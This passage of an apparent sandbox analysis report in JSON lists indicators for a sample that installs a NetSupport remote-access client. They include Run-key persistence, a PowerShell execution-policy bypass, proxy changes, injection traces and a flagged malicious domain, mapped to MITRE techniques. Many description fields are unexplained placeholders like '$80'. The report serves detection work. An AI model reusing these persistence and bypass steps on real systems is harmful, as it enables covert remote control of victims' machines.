\"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$80","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$81","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$82","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: client32.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: AudioCapture.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: remcmdstub.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: PCICL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: TCCTL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: HTCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"client32.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"instance of Win32_SystemEnclosure\" (Indicator: \" Win32_SystemEnclosure\"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")\n Found string \"SELECT * FROM Win32_SystemEnclosure\" (Indicator: \" Win32_SystemEnclosure\"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")\n Found string \"instance of Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"$83","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007184)\n \"client32.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"$84","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcessAsUser\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete device information set (API string)","description":"Found reference to API \"SetupDiDestroyDeviceInfoList\" (Indicator: \"SetupDiDestroyDeviceInfoList\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1485","relevance":1,"id":"string-442","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$85","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"$86","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$87","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$88","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")\n Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"SystemParametersInfoForDpi\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$89","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to set/delete MS-DOS device name (API string)","description":"Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"DefineDosDeviceA\" (Indicator: \"DefineDosDevice\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-466","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop windows services","description":"Found string \"net stop client32\" (Indicator: \"net stop\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-522","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$8a","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"SeTcbPrivilege\" (Indicator: \"SeTcbPrivilege\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"client32.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$8b","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$8c","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"NetApiBufferFree\" (Indicator: \"NetApiBufferFree\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"InitiateSystemShutdownW\" (Indicator: \"InitiateSystemShutdown\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"svchost.exe,csrss.exe,spoolsv.exe,winlogon.exe,wininit.exe\" (Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$8d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 11 sections\"- Location: [%TEMP%\\is-2BB8I.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp]- [targetUID: 00000000-00005220]\n \"_setup64.tmp\" has type \"PE32+ executable (console) x86-64 for MS Windows 5 sections\"- Location: [%TEMP%\\is-0DA6D.tmp\\_isetup\\_setup64.tmp]- [targetUID: 00000000-00005220]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$8e","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"$8f","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$90","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$91","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$92","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"client32.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\SystemUtil\\client32.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$93","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"NETUTILITYAPP\"; Value: \"%APPDATA%\\SystemUtil\\client32.exe\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$94","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 151.236.16.15 on port 443 is sent without HTTP header\n TCP traffic to 172.67.68.212 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"client32.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$95","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$96","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"client32.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$97","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$98","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"%TEMP%\\is-\" - (UID: 00000000-00005220), \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%APPDATA%\\SystemUtil\\client32.exe\"\" - (UID: 00000000-00007184)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"is-E4H59.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable (console) x86-64\n for MS Windows\n 5 sections\n a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable (console) x86-64\n for MS Windows\n 5 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"Environment Awareness","name":"Found a Wine emulator related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","relevance":2,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"malicious","category":"General","name":"The input sample is signed with an invalid certificate","description":"Error: A certificate was explicitly revoked by its issuer. (0x800b010c)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-1","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-2BB8I.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" (Handle: 616)\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1552)\n \"powershell.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\SystemUtil\\client32.exe\" (Handle: 2880)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"payiki.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: NetSupport Manager/1.3","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_NetSupport\" matched file \"client32.exe\" as \"Detects NetSupport client\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"-ExecutionPolicy Bypass 